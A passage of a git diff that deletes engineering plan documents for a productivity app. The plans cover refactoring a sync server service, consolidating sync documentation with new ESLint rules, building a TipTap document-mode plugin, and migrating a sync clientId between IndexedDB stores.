`prisma.$transaction` inside). Depends on **Task 2** (conflict module) and **Task 0** (shared types). - -**Constructor deps (explicit):** `ValidationService`, the `conflict` module functions, `config` (for `clampFutureTimestamp`'s `maxClockDriftMs`). No DB-handle injection — `tx` per call. - -**Files:** Create `src/sync/services/operation-upload.service.ts`; modify `sync.service.ts`, `services/index.ts`, `tests/sync.service.spec.ts` (one sanctioned re-point). - -**Add a characterization spec first (additive, allowed):** `tests/operation-upload-characterization.spec.ts` — before any move, feed representative batches through `syncService.uploadOps` (single op; multi-entity; intra-batch dup; conflict; clean-slate; full-state vector-clock aggregate) and snapshot the exact `UploadResult[]` + resulting `storage_used_bytes` + final `lastSeq`. This pins the byte-accounting and retry-contract invariants the existing behavioral suite does not assert precisely. Commit it green before 7a. - -**Sub-steps (each: baseline → Phase A/B move → `checkFile` → `npm test` green → commit):** - -- **7a — pure/serial helpers.** Move `validateAndClampBatch` (1022), `rejectIntraBatchDuplicates` (1064), `_aggregatePriorVectorClock` (868), `persistMergedFullStateClock` (905, called by **both** batch@1320 and serial@1605 — must move now). Plus the upload-result helpers excluded from Task 2: `clampFutureTimestamp` (485), `rejectedUploadResult` (509). -- **7b — batch pipeline (moves as one unit; partial moves are uncompilable).** `processOperationBatch` (925), `classifyExistingDuplicates` (1095), `detectBatchConflicts` (1157), `reserveSeqAndInsert` (1255), `persistBatchFullStateClock` (1307). `detectBatchConflicts` calls `conflict.prefetchLatestEntityOpsForBatch` (Task 2) — wire it. **Sanctioned spec re-point:** `tests/sync.service.spec.ts:924-929` spies `_aggregatePriorVectorClock` on the `SyncService` cast and asserts call-count after public `uploadOps`; re-point the spy to the `OperationUploadService` instance (`service['operationUploadService']`). Separate commit `test(sync): re-point _aggregatePriorVectorClock spy to OperationUploadService`. -- **7c — serial path.** `processOperation` (1335). Keep its legacy post-sequence `conflict.detectConflict` re-check paired with the compensating `lastSeq` decrement (~1463-1468) and the inlined prune (~1502-1509 — do NOT unify with the batch path's `pruneVectorClockForStorage` call; preserve both verbatim). - -**Pre-merge gate (not per-sub-step):** run the integration suite — `npx vitest run --config vitest.integration.config.ts` (needs live Postgres; if unavailable in the environment, state that explicitly and rely on the characterization spec + `sync-operations`/`time-tracking-operations`/`conflict-detection`/`sync-fixes` specs, noting the reduced coverage). - ---- - -## Task 8: Final verification & barrel doc - -- Full `npm test` green. If Postgres available: `npx vitest run --config vitest.integration.config.ts` green (covers the `npm test`-excluded `multi-client-sync` + `snapshot-skip-optimization` integration specs). Otherwise document that integration was not run here and must run in CI before merge. -- `wc -l` the big 3. Realistic targets (v1's were unachievable): `sync.routes.ts` ≤ ~450, `snapshot.service.ts` ≤ ~600, `sync.service.ts` ≤ ~1100 (the `uploadOps` tx shell + facade delegations are an irreducible orchestration core — this is "relocate the pipeline into a cohesive unit," not "make sync.service.ts tiny"; say so). -- `npm run checkFile` on every file touched across all tasks. -- Extend the existing `src/sync/services/index.ts` header comment with one line per new collaborator (no new doc file — keeps the map next to the code, aligns with the no-proactive-docs rule). -- Final commit `docs(sync): note new SuperSync server module boundaries in barrel`. - -**Do not** open a PR or merge — separate decision (superpowers:finishing-a-development-branch when the user asks). - ---- - -## Risk ledger - -| Task | Risk | Hard deps | Sanctioned spec edit | -| --------------------------- | -------- | --------- | --------------------------- | -| 0 hoist types | trivial | — | none | -| 1 op-replay (+ re-export) | very low | — | none | -| 2 conflict.ts | low | 0 | none | -| 3 route helpers ×2 | low | — | none | -| 4 route handlers ×2 | medium | 3 | none (2 route imports only) | -| 5 eviction→StorageQuota | medium | — | 1 (`:2117` spy re-point) | -| 6 snapshot-generation | medium | 1 | none | -| 7 operation-upload (7a/b/c) | high | 0, 2 | 1 (`:924` spy re-point) | -| 8 verify + doc | trivial | all | — | - -Sync-correctness invariants (transaction atomicity, vector-clock prune order, SYNC_IMPORT/BACKUP_IMPORT/REPAIR early-return, replay determinism, no-user-content logging) are preserved by the verbatim-move + facade rules — confirmed by review against `CLAUDE.md` rules 1/6/7/8/9 and `docs/sync-and-op-log/vector-clocks.md`. The single highest-correctness-risk surface is Task 7; the characterization spec is its primary guard. - -## Out of scope (YAGNI) - -Dropping the facades; touching `api.ts`/`passkey.ts`/`auth.ts`/`scripts/`; behavior/perf/DB/wire changes; rewriting tests (only additive new specs + the 2 enumerated spy re-points); a new `routes/` directory or `docs/` artifact. diff --git a/docs/plans/2026-05-15-sync-docs-and-contributor-model-design.md b/docs/plans/2026-05-15-sync-docs-and-contributor-model-design.md deleted file mode 100644 index 39413985b3..0000000000 --- a/docs/plans/2026-05-15-sync-docs-and-contributor-model-design.md +++ /dev/null @@ -1,217 +0,0 @@ -# Sync Simplification: Docs Consolidation + Enforced Contributor Model - -**Date:** 2026-05-15 -**Status:** Design — revised after multi-review (gemini + Claude sub-agent; codex/copilot unavailable in this env). Three confirmed blockers from review folded in below. -**Scope:** Tier 1 + Tier 2 only (see "Scope"). No production TypeScript changes; behavior-preserving. - -## Context & core finding - -Goal: reduce the **maintenance burden** and **conceptual complexity** of the sync -architecture — less to hold in your head, easier to onboard. - -Research (four parallel deep-dives, see "Evidence") produced a counterintuitive -conclusion that shapes this whole plan: - -> **The sync *code* is not meaningfully over-engineered. The team already did the -> hard simplification (deleted PFAPI ~83 files, removed the vector-clock defense -> layers, unified both transports behind one `OperationSyncCapable` interface + -> a shared `@sp/sync-core` orchestrator). Three prior independent analyses -> rejected every simpler model (delta-sync, LWW, CRDT) for reasons tied to a -> hard, non-negotiable constraint: no silent data loss on concurrent -> multi-device edits, offline-first, with a dumb/E2EE file server.** - -Findings per candidate area: - -| Area | Verdict | Safe code reduction | Risk | -|---|---|---|---| -| Transport duplication | Already unified; `file-based-sync-adapter` is *necessary server-emulation on dumb storage*, not redundancy | ~50–120 LOC, touches the most fragile code (snapshot-hydration; issues #7339/#7330) | High — **excluded** | -| Validation/repair | Mostly load-bearing; "4522 LOC" includes 471 test-only LOC | ~155–215 LOC (Tier 3, **deferred**) | Low | -| Four contributor rules | **Real win** — all four are one invariant; codebase already 100% compliant | n/a (adds lint) | Very low | -| Doc sprawl | **Biggest win** — ~33 files/~600 KB, one provably-stale doc falsely marked "Completed" | n/a (docs) | Near-zero | - -Therefore: the maintenance-burden ceiling for *code* is low and risky. The -**conceptual-complexity** pain has a large, cheap, low-risk fix that lives in -the **docs** and the **scattered/unenforced contributor rules** — that is this plan. - -## Scope - -**In scope (Tier 1 + 2):** - -1. Consolidate `docs/sync-and-op-log/` from ~33 files to a lean authoritative set. -2. Add one new `contributor-sync-model.md` capturing the single sync invariant. -3. Add two ESLint rules to the existing `eslint-local-rules/` plugin to *enforce* - the model instead of relying on memory. -4. Tighten CLAUDE.md sync rules 1–3,6 to one line each + link to the new doc. - -**Explicitly out of scope (not in this plan):** - -- Tier 3 code cleanup (dead `DataRepairService`, typia-redundant guards, - `providerMode` discriminant). Tracked separately; low payoff, deferred. -- Any change to sync runtime behavior, the op-log core, vector clocks, - conflict resolution, providers, or `super-sync-server`. -- Replacing the engine or dropping providers (rejected earlier in research). - -## Tier 1 — Documentation consolidation - -### Target active doc set (7 docs) - -| Doc | Action | -|---|---| -| `README.md` | Rewrite as a pure navigation index. Drop the historical/status tables (they drift; that drift is part of the problem). | -| `operation-log-architecture.md` | Remains the **one** authoritative architecture doc. Fold in: (a) `quick-reference.md`'s unique cheat-sheet tables as an appendix; (b) a new condensed **"Rejected alternatives & why"** section preserving the load-bearing rationale from `background-info/` (no-silent-data-loss / offline / dumb-E2EE-server constraint; why delta-sync, LWW, CRDT were rejected). | -| `contributor-sync-model.md` | **New.** The single contributor mental model (see Tier 1 §"New doc"). | -| `vector-clocks.md` | Keep as-is (current; cited by CLAUDE.md rule 8). | -| `supersync-encryption-architecture.md` | Keep as-is (current; implemented). | -| `operation-rules.md` | Keep as-is (short, current, lint-aligned). | -| `package-boundaries.md` | Keep as-is (short, current, matches enforced eslint boundaries). | -| `diagrams/` (directory) | Keep as the canonical diagram set. Fold in the 3 stray flowcharts' content where unique. | - -### Deletions (hard-delete; git history is the archive) - -No `archive/` folder. Delete; if a surviving doc needs the rationale, link the -**git commit** that removed it (`see commit for historical design`). - -- `long-term-plans/hybrid-manifest-architecture.md` — **provably stale & misleading**: describes a multi-file `manifest.json` + `ops/` scheme with **zero** code references (`OperationLogManifestService` does not exist; the live format is single-file `sync-data.json`), yet self-labels "Completed". Highest-priority removal. -- `long-term-plans/replace-pfapi-with-oplog-plan.md` — completed Jan 2026; outcome captured by current architecture doc. -- `long-term-plans/e2e-encryption-plan.md` — superseded by `supersync-encryption-architecture.md` (its own header says so). -- `operation-payload-optimization-discussion.md` — dated discussion, not a spec. -- `background-info/` (5 files) — historical research/LLM-synthesized analyses. **Note (review R3):** the synthesized reports self-caveat that the models analyzed different/stale artifacts, so their *specifics are unreliable*; only the durable constraint (no-silent-data-loss / offline / dumb-E2EE-server, and why delta-sync/LWW/CRDT were rejected) is load-bearing. `operation-log-architecture.md` currently has **no** rejected-alternatives section (it covers LWW only as the *implemented* strategy at :1365). So the fold is **net-new synthesis written from first principles**, not mechanical extraction — a writing-judgment task, done **before** deletion. -- `quick-reference.md` — unique cheat-sheet tables folded into the architecture doc, then deleted. -- `operation-log-architecture-diagrams.md` (86 KB monolith) — unique **current** diagrams folded into `diagrams/`, then deleted. **Carve-out (review C2): exclude §5 and §6 "Hybrid Manifest ✅ IMPLEMENTED" (lines ~1507–1546) from the fold** — they assert `OperationLogManifestService` is "Complete", the exact false claim driving the hybrid-manifest deletion. They are deleted, not migrated. Sweep the kept `diagrams/*` for any other `HybridManifest`/`OperationLogManifestService` content during step 2. -- `supersync-scenarios.md`, `supersync-scenarios-flowchart.md`, `file-based-sync-flowchart.md` — fold any unique current flow into `diagrams/`, then delete. - -Net: ~33 files → **7 active docs + `diagrams/`**. - -### Cross-reference fixes (must be done in the same change so no link dangles) - -- `CLAUDE.md:46` → currently points at `operation-log-architecture-diagrams.md §8`; repoint to `contributor-sync-model.md`. -- `operation-log-architecture.md:1545` → ref to diagrams monolith Section 2c; repoint to the new `diagrams/` file. -- `operation-log-architecture.md:2340` → ref to `long-term-plans/hybrid-manifest-architecture.md`; remove (or replace with commit-hash note if rationale is wanted). -- `diagrams/README.md:59` → ref to `../quick-reference.md`; remove (folded into architecture doc). -- Inter-flowchart links in `supersync-scenarios-flowchart.md`, `file-based-sync-flowchart.md`, `quick-reference.md:3` → resolved by the merges. -- `README.md:41` (`replace-pfapi-...`), `README.md:42` (`e2e-encryption-plan`), `README.md:167` (`background-info/`) → all removed by the full README rewrite (step 5); listed for checklist completeness. -- **(review C1 — must-fix) External, outside `docs/sync-and-op-log/`:** `docs/long-term-plans/server-side-entity-versioning.md:328` links to `../sync-and-op-log/long-term-plans/e2e-encryption-plan.md` (a deleted doc). Repoint to `../sync-and-op-log/supersync-encryption-architecture.md` (the kept E2EE reference). This file is **not** in the doc set so it must be an explicit change-set item, not left to verify-time discovery. - -### New doc: `contributor-sync-model.md` - -States **one invariant, two boundaries, one atomicity rule**: - -> **One user intent = exactly one operation. Replayed/remote ops must never -> re-trigger effects.** -> -> - **Action boundary** — effects inject `LOCAL_ACTIONS`, not `Actions`. -> *Enforced by `local-rules/no-actions-in-effects` (Tier 2).* -> - **Selector boundary** — selector-driven effects guard with -> `skipDuringSyncWindow()` / `HydrationStateService.isApplyingRemoteOps()`. -> *Enforced by the existing `local-rules/require-hydration-guard`.* -> - **Atomicity** — multi-entity changes are meta-reducers (one reducer pass = -> one op); bulk-dispatch loops yield with -> `await new Promise(r => setTimeout(r, 0))`. - -Plus a short decision table ("Writing an effect? → these checks; the linter -enforces two of them") and links to `operation-rules.md` for the deeper "why". - -## Tier 2 — Enforce the model (ESLint) - -Existing plugin: `eslint-local-rules/` (`eslint-plugin-local-rules` convention), -`rules/require-hydration-guard.js` + `require-entity-registry.js`, registered in -`eslint.config.js:216-222` for `**/*.effects.ts`. Add, following that exact pattern: - -- **`eslint-local-rules/rules/no-actions-in-effects.js`** (`error`): bans - `inject(Actions)` and the `Actions` import (incl. aliased - `import { Actions as X } from '@ngrx/effects'`) in `*.effects.ts`; - message/suggestion points to `LOCAL_ACTIONS`/`ALL_ACTIONS`. Codebase is - **already 100% compliant** (verified: 0 `inject(Actions)`, 0 `@ngrx/effects` - `Actions` imports across all 43 real `*.effects.ts`) → zero migration, pure - regression guard. **Correction (review R2):** the existing rules do - CallExpression/selector analysis only and have **no `ImportDeclaration` - handling**; this rule follows the *plugin + spec structure* of the existing - rules but adds new `ImportDeclaration` + `inject()`-call detection. The spec - must cover the aliased-import case. -- **`eslint-local-rules/rules/no-multi-entity-effect.js`** (`warn`): heuristic — - flags an effect whose dispatch arm references >1 feature slice / >1 entity action - creator; message points to `root-store/meta/task-shared-meta-reducers/`. `warn` - (like `require-entity-registry`) because the heuristic has false positives; - inline-disable with a justification comment is allowed. - -Each gets a co-located `.spec.js` (ESLint `RuleTester`) modeled on -`require-hydration-guard.spec.js`, registered in `eslint-local-rules/index.js` -and added to `eslint.config.js`. The `no-multi-entity-effect` spec must include a -**positive "blessed path" case** (a multi-entity change routed through a -`task-shared-meta-reducers/` meta-reducer) so the correct pattern is documented -in-test. - -**Spec runner (review C3 — must-fix):** `npm test` runs Karma over `*.spec.ts` -only; it does **not** run `.spec.js`. The existing `require-hydration-guard.spec.js` -currently has **no runner and no CI step** (dead coverage). Add a -`"test:lint-rules"` npm script (e.g. `node --test "eslint-local-rules/**/*.spec.js"`) -plus a CI step, which also resurrects the existing orphaned spec. This is the -only addition beyond docs+rules and is in-scope for Tier 2. - -No production TypeScript changes. No runtime behavior change. - -## CLAUDE.md changes - -- Rules **1, 2, 3, 6** (the four facets of the one invariant): tighten each to a - single terse line that still states the guardrail (kept in always-loaded - context) but moves mechanism/why to `contributor-sync-model.md` via link. -- Rule **1**'s doc pointer: `operation-log-architecture-diagrams.md §8` → - `docs/sync-and-op-log/contributor-sync-model.md`. -- Rules **4, 5, 7, 8, 9** are unrelated to this invariant → unchanged - (rule 8 still points at `vector-clocks.md`, which is kept). - -## Execution order (so links never dangle mid-migration) - -1. Create `contributor-sync-model.md`. -2. Fold `background-info/` rationale (net-new synthesis) + `quick-reference.md` - tables + diagram monolith content into `operation-log-architecture.md` / - `diagrams/` — **excluding** the monolith's stale §5/§6 Hybrid Manifest - sections (C2). -3. Fix all cross-references (table above) to final destinations — **including - the external `docs/long-term-plans/server-side-entity-versioning.md:328` - (C1)**. -4. Delete the stale/superseded/folded source docs. -5. Rewrite `README.md` as an index of the final 7 docs + `diagrams/`; add - `contributor-sync-model.md` to CLAUDE.md "Required reading per task" and link - it from `CONTRIBUTING.md` (visibility — gemini suggestion). -6. Add the two ESLint rules + specs + `index.js`/`eslint.config.js` - registration + the `test:lint-rules` npm script + CI step (C3). -7. Tighten CLAUDE.md rules 1–3,6 + repoint rule 1. -8. Run the full Verification checklist; only then is the change complete. - -## Verification - -- Markdown link check across **all of `docs/` (incl. `docs/long-term-plans/`) and - CLAUDE.md** → zero dangling links. (The sweep must NOT exclude - `docs/long-term-plans/` — that is where the C1 external ref lives.) -- `grep -rn "hybrid-manifest\|quick-reference\|architecture-diagrams\|background-info\|supersync-scenarios\|file-based-sync-flowchart\|payload-optimization\|replace-pfapi\|e2e-encryption-plan"` over `*.md *.ts *.js` (excluding only `docs/sync-and-op-log/` and `docs/plans/`) → zero hits after migration. -- `npm run lint` clean; `no-actions-in-effects` produces **0** violations on the - current tree (proves it is a pure regression guard, not a migration). -- `npm run test:lint-rules` green (the new runner; also re-covers the - previously-orphaned `require-hydration-guard.spec.js`). -- **Tightened (review R4):** `git grep -E "HybridManifest|OperationLogManifestService"` - over `src/ packages/` → zero. (Do **not** grep bare `manifest.json` — it has - dozens of unrelated plugin/i18n hits and would false-positive.) - -## Risks - -- **Low overall** — docs + non-bypassable lint + CLAUDE.md text. No production - code path changes; no sync behavior change. -- *Knowledge loss on delete:* mitigated by folding load-bearing rationale into - the architecture doc **before** deletion, plus git history + commit-hash - references. -- *`no-multi-entity-effect` false positives:* mitigated by shipping as `warn` - with an allowed inline-disable + justification. -- *CLAUDE.md too terse:* the guardrail sentence stays in always-loaded context; - only the "why" moves to the linked doc. - -## Evidence (research provenance) - -- Complexity inventory: op-log ~28 K LOC; transports already unified behind - `OperationSyncCapable` + `@sp/sync-core`. -- Prior analyses (`background-info/`): op-log chosen over delta-sync/LWW/CRDT - due to the no-data-loss/offline/dumb-E2EE-server constraint. -- Stale-doc proof: zero `HybridManifest`/`manifest.json` refs in code; live - format is `sync-data.json` (`file-based-sync-adapter.service.ts`). -- Contributor-rule unification: 0 `inject(Actions)` in any `*.effects.ts`; - `require-hydration-guard` already enforces the selector boundary. diff --git a/docs/plans/2026-05-21-document-mode-tiptap-plugin.md b/docs/plans/2026-05-21-document-mode-tiptap-plugin.md deleted file mode 100644 index 6f43757127..0000000000 --- a/docs/plans/2026-05-21-document-mode-tiptap-plugin.md +++ /dev/null @@ -1,165 +0,0 @@ -# Document Mode → TipTap Plugin (POC) - -**Status:** proposal, post-multi-review v2 -**Date:** 2026-05-21 -**Branch:** `feat/doc-mode4-2880bb` - -## Goal - -Reimplement the current in-tree document mode (`src/app/features/document-mode/`) as an opt-in iframe plugin using TipTap as the editor. Extend the plugin API to support a work-context-scoped header button, a `WORK_CONTEXT_CHANGE` hook, and embedding the plugin's view inside the work-view body (in place of the task list). - -POC scope: no data migration, no removal of the existing in-tree feature, opt-in install only. - -## Decisions locked in - -| Question | Decision | Source | -| ------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ | -| Embed venue | **Body-embed** (mirror today's `` placement). No side-panel variant. | User | -| Visibility scope | Host renders the button only when active context is project or TODAY tag, **but plugin still declares this** via a `showFor` field on registration | Reviewer push-back: hardcoded host filter is avoidable public-API debt | -| `taskRef` semantics | **Read-only chips** (atom node) — title + checkbox. Click on the chip opens the task panel for full edits. No inline title editing. | Both reviewers flagged the race conditions of inline editing; POC ships cleanly without it | -| Persistence | **Single existing blob, plugin-side `{[ctxId]: doc}` map**. No new persistence API for the POC. | Both reviewers recommended this — defers risky keyed-API design | -| Legacy data | No migration | User | -| Bundling | Opt-in install, not bundled by default | User | - -## Plugin-API additions - -```ts -// packages/plugin-api/src/types.ts -interface PluginAPI { - // ...existing... - getActiveWorkContext(): Promise; - registerWorkContextHeaderButton( - cfg: Omit, - ): void; - showInWorkContext(): void; - closeWorkContextView(): void; -} - -interface ActiveWorkContext { - id: string; - type: 'PROJECT' | 'TAG'; - title: string; - taskIds: string[]; -} - -interface PluginWorkContextHeaderBtnCfg { - pluginId: string; - label: string; - icon?: string; - onClick: (ctx: ActiveWorkContext) => void; - /** Where to render the button. Default ['PROJECT']. 'TODAY' is the special TODAY tag. */ - showFor: ('PROJECT' | 'TAG' | 'TODAY')[]; -} - -enum PluginHooks { - // ...existing... - ANY_TASK_UPDATE, // ← already host-side, missing from iframe enum - WORK_CONTEXT_CHANGE = 'workContextChange', // new -} -// WORK_CONTEXT_CHANGE payload: { id, type, title, taskIds } | null -// (full snapshot, not just id+type — see review finding #4) -``` - -No keyed persistence — POC reuses single blob. - -## Host-side fixes required for body-embed - -The multi-review surfaced several blockers that must be fixed inside the host before body-embed is safe. These are not optional: - -### 1. Iframe message cross-talk (Codex) - -`handlePluginMessage()` in `src/app/plugins/util/plugin-iframe.util.ts:451` accepts any `PLUGIN_API_CALL` without checking `event.source` or plugin id. Side-panel already mounts a `` (`plugin-panel-container.component.ts:25`); adding a work-view embed gives two listeners that will both answer the same API call with different bound methods. - -**Fix:** in every `handlePluginMessage` call site, verify `event.source === iframe.contentWindow` AND tag the message with the receiving plugin id; ignore mismatches. Apply to all embed sites: route page, side panel, work-view embed. - -### 2. Header-button `onClick` callback proxy (Codex) - -The iframe proxy posts `registerHeaderButton(cfg)` directly (`plugin-iframe.util.ts:329`) — `onClick` is a function, not structured-cloneable. The existing host-side `PluginAPI.registerHeaderButton()` works because it runs in the host runtime. Same applies to the new `registerWorkContextHeaderButton`. - -**Fix:** mirror the existing hook/dialog callback proxy pattern. Iframe sends `{ register: {...cfg, callbackId} }`; host wraps `onClick` to post `{ type: 'CALLBACK_INVOKE', callbackId, ctx }` back to the iframe, where the plugin's stored callback runs. - -### 3. `ANY_TASK_UPDATE` missing from iframe Hooks enum (Claude + Codex) - -`plugin-iframe.util.ts:282-291` ships `TASK_COMPLETE | TASK_UPDATE | TASK_DELETE | CURRENT_TASK_CHANGE | FINISH_DAY | LANGUAGE_CHANGE | PERSISTED_DATA_UPDATE | ACTION` only. The host fires `ANY_TASK_UPDATE` (`plugin-hooks.effects.ts:237`) but the plugin can't subscribe. - -**Fix:** add `ANY_TASK_UPDATE` (and `PROJECT_LIST_UPDATE`, `TASK_CREATED`) to the iframe enum. - -Note: `anyTaskUpdate$` does not cover subtask reorders, task moves within Today list, or project task-list reorders. For read-only chips this matters less — title + isDone is enough — but document the gap. - -### 4. `WORK_CONTEXT_CHANGE` source observable (Codex) - -`WorkContextService.activeWorkContextTypeAndId$` (`work-context.service.ts:119-127`) only emits `{activeId, activeType}` — no title, no taskIds. `activeWorkContext$` (`:148`) has them but emits on any context-data change, which would spam the hook. - -**Fix:** derive `WORK_CONTEXT_CHANGE` from a custom observable that distincts on `(type, id)` and then takes one `activeWorkContext$` snapshot for the payload. Also gate through `isContextChangingWithDelay$` so the hook fires once per nav, not during the 50 ms transition. - -### 5. `PluginIndexComponent` cleanup-on-nav (Claude) - -`plugin-index.component.ts:275` calls `cleanupPlugin(currentPluginId)` on `ngOnDestroy`. Embedding it in `work-view` means switching contexts (or toggling embed off/on) tears down hooks — the plugin re-initializes from scratch and loses its in-memory editor state. - -**Fix:** when `` is mounted with `directPluginId` (embed mode), skip `cleanupPlugin` on destroy. The cleanup belongs to the route lifecycle, not to embedded usage. Add an `@Input() skipCleanupOnDestroy = false`. - -## Host files to change - -| File | Change | -| ------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `packages/plugin-api/src/types.ts` + `src/app/plugins/plugin-api.model.ts` | new types, `WORK_CONTEXT_CHANGE` + `ANY_TASK_UPDATE` enum members exposed | -| `src/app/plugins/plugin-api.ts` | bound methods + cleanup of context-buttons on plugin disable | -| `src/app/plugins/plugin-bridge.service.ts` | `_registerWorkContextHeaderButton`, `workContextHeaderButtons` computed signal (filtered by `(type, id)` against each button's `showFor`), `workContextEmbedPluginId` signal, `_showInWorkContext` / `_closeWorkContextView`, `getActiveWorkContext` | -| `src/app/plugins/util/plugin-iframe.util.ts` | (a) add `ANY_TASK_UPDATE`/`PROJECT_LIST_UPDATE`/`TASK_CREATED` to enum, (b) proxy new methods, (c) verify `event.source` in `handlePluginMessage`, (d) callback proxy for header-button `onClick` | -| `src/app/plugins/plugin-hooks.effects.ts` | emit `WORK_CONTEXT_CHANGE` from distinct-`(type,id)` observable, gated by `isContextChangingWithDelay$`; include `{id, type, title, taskIds}` in payload | -| `src/app/plugins/plugin-cleanup.service.ts` | clear context-buttons + embed slot on disable | -| `src/app/plugins/ui/plugin-index/plugin-index.component.ts` | add `@Input() skipCleanupOnDestroy`; default false; embed call sites pass `true` | -| `src/app/core-ui/main-header/main-header.component.html` + new `plugin-work-context-header-btns.component.ts` | render context-scoped buttons next to the existing `` | -| `src/app/features/work-view/work-view.component.ts/html` | branch: if `pluginBridge.workContextEmbedPluginId()` is set AND ctx is project or TODAY tag, render `` in place of task list; suppress work-view header same way `isDocumentMode()` does today | - -## Plugin (`packages/plugin-dev/document-mode/`) - -Scaffold from `sync-md`. Build with Vite. Bundle: `@tiptap/core` + `@tiptap/starter-kit` + `@tiptap/extension-placeholder` + `@tiptap/suggestion`. Vanilla node-views — no React (~150 KB gzipped). - -**Manifest:** `iFrame: true`, `isSkipMenuEntry: true`, `sidePanel: false`, hooks `WORK_CONTEXT_CHANGE` + `ANY_TASK_UPDATE`, `uiKit: true`. - -**Editor model:** ProseMirror JSON. No `DocumentBlock[]`. Custom **`taskRef`** atom node `{ atom: true, draggable: true, selectable: true, attrs: { taskId } }`: - -- NodeView renders checkbox + title from a local cache populated by `getTasks()`. Read-only display. -- Checkbox toggles → `updateTask(taskId, { isDone })`. -- Click on chip → `dispatchAction` to open the task in the existing side panel (not editable inside the editor). -- Backspace at start of a `taskRef`: confirm dialog (via host `openDialog` — `_isBareTask` heuristic is moved inside the host since the plugin's `Task` interface lacks `deadlineDay`/`reminderId`; expose a new `confirmTaskDeletion(taskId): Promise` helper on the API or just always confirm in v1). -- Enter at end of a `taskRef`: `addTask({...})` + insert sibling `taskRef`. - -**Other blocks:** StarterKit (paragraph/heading/bold/italic/strike/code), HorizontalRule (divider), Placeholder (empty state). - -**Slash menu:** `@tiptap/suggestion` with `char: '/'`, `allowedPrefixes: null` (so `/` after arbitrary text triggers — current behavior). Items: Task / Paragraph / H1 / H2 / H3 / Divider plus turn-into. - -**Block menu + drag handle:** vanilla floating UI on `.ProseMirror` mousemove. - -**Lifecycle:** - -- On load → register the context header button with `showFor: ['PROJECT', 'TODAY']`. -- On `WORK_CONTEXT_CHANGE` → flush pending save for previous ctx; load doc for new ctx from `persistDataSynced` blob (`{[ctxId]: doc}` map) → init editor. If no doc stored, seed from `payload.taskIds`. -- On `ANY_TASK_UPDATE` for current ctx, action is task-added → append `taskRef` if missing (mirrors `syncMissingTasks`). -- `editor.on('update')` → 5 s debounce → write to map, persist whole blob. Flush on `pagehide` and on `WORK_CONTEXT_CHANGE`. Note: `pagehide` inside iframe doesn't fire on Electron quit — last debounce window can be lost. Accept for POC; v2 can expose a host-side `beforeUnload` hook. - -## Order of work - -1. **Host plumbing — review fixes first** (`event.source` check, `skipCleanupOnDestroy`, `ANY_TASK_UPDATE` in iframe enum). These are bugs/gaps regardless of this feature. -2. **API extension**: new types, `WORK_CONTEXT_CHANGE` hook (with proper distinct-untils + gating), `getActiveWorkContext`, callback proxy for context-button `onClick`. -3. **Host UI**: `` + `workContextEmbedPluginId` signal + work-view branch. -4. **Plugin scaffold** + manifest + register button + open empty editor. -5. **TipTap editor**: paragraph/heading/divider + per-ctx persistence in single blob. -6. **`taskRef` read-only node** + create/delete via hooks. -7. **Slash menu + block menu + drag handle.** - -## Out of scope (deferred to v2) - -- Inline-editable `taskRef` titles (read-only chips for POC). -- Keyed `persistDataSynced(data, key)` API — using `{[ctxId]: doc}` in single blob for POC. -- Removal of in-tree `src/app/features/document-mode/`, `documentBlocks`/`isDocumentMode` fields, `isDocumentModeEnabled` flag. -- Data migration from legacy `documentBlocks`. -- Bundling as default install. -- Electron `beforeUnload` hook for the iframe. - -## Open risks (acknowledged, not resolved) - -- `anyTaskUpdate$` doesn't cover subtask reorders / Today list moves / project list reorders. For read-only chips this is small (titles + isDone), but title-on-other-context updates won't reflect until you switch back. -- `getTasks()` returns ALL tasks each call — fine for current scale, watchable as the task graph grows. -- The host-side fixes in §"Host-side fixes required" affect existing plugins (`sync-md`, etc.). Add regression tests for `plugin-bridge.service.spec.ts` and verify `sync-md` still loads. diff --git a/docs/plans/2026-05-22-clientid-migrate-to-sup-ops.md b/docs/plans/2026-05-22-clientid-migrate-to-sup-ops.md deleted file mode 100644 index 092d30008d..0000000000 --- a/docs/plans/2026-05-22-clientid-migrate-to-sup-ops.md +++ /dev/null @@ -1,491 +0,0 @@ -# Migrate sync `clientId` from `pf` into `SUP_OPS` - -**Issue:** #7732 — follow-up to PR #7712 / issue #7709 -**Status:** Draft plan — revised after three multi-agent review rounds -**Prerequisite:** #7712 merged (2026-05-22) ✅ - -## Goal - -Move the sync `clientId` out of the legacy `pf` IndexedDB database into -`SUP_OPS` so the clientId write joins the atomic multi-store transaction in -`OperationLogStoreService.runDestructiveStateReplacement()`. Once it does, the -hand-rolled two-phase commit `ClientIdService.withRotation()` (and its CAS guard -and rollback-failure logging) is deleted. - -## Design decisions (and why) - -Three review rounds converged on these. Two reverse earlier-draft mistakes — -kept here as explicit decisions so they are not "re-improved" into bugs again. - -1. **No permanent `pf` mirror.** Downgrading past this schema bump opens - `SUP_OPS` at a lower version than stored → `VersionError` → the op-log/sync - subsystem is dead regardless of where the clientId lives. A mirror cannot - rescue that. `pf` becomes a **read-only, one-time migration source.** - -2. **Self-healing read, no separate migration service.** The `pf → SUP_OPS` - copy happens inline in the clientId resolver, triggered lazily by the first - read. This removes the init-ordering failure mode — the clientId is read very - early and is _non-regenerable_, so a self-gating read is safer than call-order - discipline plus an ordering test. - -3. **`getOrGenerateClientId()` must never generate on a read _failure_.** - _(Reverses an earlier draft.)_ An earlier draft made `loadClientId()` "never - throw" and had `getOrGenerateClientId()` generate whenever it returned - `null`. That converts a transient IndexedDB hiccup into a brand-new clientId - that orphans the device's real, history-bearing id — the exact - non-regenerable loss this issue exists to prevent. The resolver therefore - **propagates IndexedDB read errors**; generation happens _only_ when reads - succeed and confirm no id exists anywhere. This matches today's behavior - (today `getOrGenerateClientId` throws on a DB-open failure rather than - generating). - -4. **`OperationLogMigrationService`'s genesis-op clientId resolution is left - unchanged.** _(Reverses an earlier draft.)_ An earlier draft routed it - through `getOrGenerateClientId()`. That is unsafe: the legacy genesis op is - built as `{ clientId, vectorClock: meta.vectorClock || { [clientId]: 1 } }`, - and `meta.vectorClock` is keyed by the _legacy PFAPI_ identity — the `pf` - `CLIENT_ID` key. The migration must keep resolving the genesis clientId from - `CLIENT_ID` so the op's `clientId` matches its own `vectorClock` keys. - `persistClientId` is therefore **kept** (not deleted), and now also seeds the - new `SUP_OPS` store. - -5. **`ClientIdService` is _not_ relocated in this PR.** The relocation to - `op-log/util/` is a pure rename touching ~12 import sites for zero behavioral - benefit (the `core 